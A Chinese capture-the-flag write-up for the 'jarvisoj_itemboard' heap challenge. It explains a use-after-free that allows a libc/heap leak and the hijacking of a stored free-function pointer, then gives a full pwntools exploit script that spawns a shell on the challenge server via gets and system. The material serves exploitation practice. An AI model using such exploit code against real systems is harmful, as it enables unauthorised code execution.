jarvisoj_itemboard
[BUUCTF] jarvisoj_itemboard
这是一道非常有意思的堆题
反编译代码审计
checksec一下看看开启的防护机制,发现没开Canary,但是对于堆题来说Canary往往是无关紧要。
另外这题是Ubuntu 16环境,没有tcache。
先看一下这个数据结构:
typedef struct heapInfo{
char * name;
char * content;
void (*free_func)(heapInfo *);
}heapInfo
这里name和content都是两个字符串,free_func是一个函数指针,本来是用来释放内存的。一般这种把函数地址存在数据块中的题都有一个改函数地址跑shell的思路。
然后我们会发现bss段有一个数组:
heapInfo * item_array[xxx]; //具体大小未知,不重要了
需要注意这个数组并不是在bss段或者data段,在这一题中,这个数组是放在堆段的。
new_item功能会malloc(0x18)来创建一个heapInfo,同时malloc(0x20)来创建一个属于name的内存块,并且会根据输入的size来创建堆块给content。注意两次输出都是先将输入的内容存放在缓冲区,然后再用strcpy函数拷贝到堆块中,这就导致如果我们输入了\x00,就会导致后面的内容被截断掉。
另外个人认为这个read函数里面有一个off-by-null漏洞,还未亲自证实,不过这里并未用到。不知道这里是不是另有突破口,这里欢迎大佬们评论。
list_item和show_item都很正常,没啥大问题。问题在remove_item这里,没有将被释放的指针指令,导致这里有一个非常要命的UAF漏洞。另外,这种用函数指针去释放内存(准确的说,是把函数指针放进内存块这一行为本身)的行为一直都特别容易成漏洞。
攻击思路整理
首先,UAF,unsorted bin chunk,在配上打印功能,直接白给libc基址和堆基址(不会有人不知道这个吧)。
接下来,对于这指针数组储存heapInfo地址,再由heapInfo指向内存块的结构(菜鸡刚学数据结构不知道这叫啥,是广义表?),往往可以通过释放两个heapInfo(假设下标依次为0和1)之后,申请和heapInfo大小相同的content块,这样,2的heapInfo就是1的heapInfo,2的content就是0的heapInfo,然后就可以修改0的heapInfo来实现攻击。
你问我怎么攻击?任意地址执行都有了,还没思路?这不速速写onegadget?
理论上来说是正确的,但是还有一些小细节需要注意。
EXP和一些小细节
劫持了0(实际上不是0,只是这三个中的“0”)号heapInfo之后,自然而然第一个想法是修改函数指针为free_func为onegadget。但是很遗憾经本人亲子测试这是不可行的,4个onegadget均不满足条件,所以只能退而求其次跑system("/bin/sh\x00")。这里free_func指向的函数在remove_item中被执行时还会传一个参数,即heapInfo的地址。
我们可以在给被劫持的堆块中写入"/bin/sh\x00"+p64(0)+p64(system_addr)这一字符串,但是由于所有进入堆块的内容都是由strcpy从缓冲区拷贝而来,"/bin/sh\x00"由于含有\x00,会截断后面的system_addr
最好的解决办法是把\x00换成";"这个东西会被Linux认作命令的分隔符。毕竟system本身就是把它参数的字符串作为命令执行嘛,你直接在终端敲个/bin/sh;试一试也是能跑的。(这一段我在“Pwn奇怪的知识点”里面有收集)
第二个方法是先写gets函数而不是system,利用gets将"/bin/sh\x00"+p64(0)+p64(system_addr)这一字符串写进heapInfo结构绕过strcpy的截断干扰。
写完了,那就放exp了:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
#r=process('/home/wjc/Desktop/itemboard')
r=remote('node4.buuoj.cn',29529)
libc=ELF("/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so")
def cmd(idx):
r.recvuntil('choose:')
r.sendline(str(idx))
def Add(name,size,content):
cmd(1)
r.recvuntil('Item name?')
r.sendline(name)
r.recvuntil("Description's len?")
r.sendline(str(size))
r.recvuntil('Description?')
r.sendline(content)
def List():
cmd(2)
def Show(idx):
cmd(3)
r.recvuntil('Which item?')
r.sendline(str(idx))
def Del(idx):
cmd(4)
r.recvuntil('Which item?')
r.sendline(str(idx))
def pwn():
Add('AAAA',0x80,'aaaa') #0
Add('BBBB',0x80,'bbbb') #1
Del(0)
Show(0)
r.recvuntil('Description:')
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f14d8ceeb78-0x7f14d892a000)
offset=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libcbase+offset[3]
gets_addr=libcbase+libc.symbols['gets']
system_addr=libcbase+libc.symbols['system']
Del(1)
List()
r.recvuntil('No.0')
r.recvuntil('name:')
heapbase=u64(r.recv(6).ljust(8,'\x00'))-(0x55773fcc05c0-0x55773fcc0000)
Add('CCCC',0xa0,'cccc') #2
Add('DDDD',0x60,'dddd') #3
Add('EEEE',0x60,'eeee') #4
Del(4)
Del(3)
Add('FFFF',0x18,0x10*'f'+p64(gets_addr)) #5
print('libcbase:',hex(libcbase))
print('heapbase:',hex(heapbase))
print('onegadget:',hex(onegadget))
Del(4)
sleep(0.1)
r.sendline('/bin/sh\x00'+0x8*'f'+p64(system_addr))
Del(4)
#gdb.attach(r)
pwn()
r.interactive()
❀